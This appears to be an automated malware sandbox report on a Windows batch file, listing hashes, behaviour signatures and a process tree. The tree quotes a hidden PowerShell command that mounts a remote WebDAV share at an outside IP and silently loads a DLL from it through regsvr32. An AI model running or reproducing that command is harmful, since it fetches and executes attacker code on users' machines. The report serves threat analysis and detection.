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Analysis

  • max time kernel
    122s
  • max time network
    128s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    23/07/2024, 03:27

General

  • Target

    1209140631077924736.bat

  • Size

    18KB

  • MD5

    f23dde61b4953152a0e7b7dd18d9a7e8

  • SHA1

    85f34fc4fde85b43c59aaa0b3841aea605f8573b

  • SHA256

    ce8fa1b2db4640c2293cdd07d915ab60af865961c450a75a95eabca95187b8b8

  • SHA512

    be0de8e2db58a1e860ee99acd7a712dc598226544e6cf08a33bc7657afff88b4b5279b56681b27fe1d448114f0c34cec66d097875b8fa93dac75b577830835d3

  • SSDEEP

    384:lT8bJlUeKsvI+8R7vedXYPIDb/fA9Lq+zCYGjfd5soyBSa:EKsvZ8llIffA9LP/yfd5soyIa

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\1209140631077924736.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2436
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2228
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\30557255532975.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2620
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2520
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\30557255532975.dll
          3⤵
            PID:2712

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • memory/2620-23-0x000000001B170000-0x000000001B452000-memory.dmp

        Filesize

        2.9MB

      • memory/2620-24-0x00000000024A0000-0x00000000024A8000-memory.dmp

        Filesize

        32KB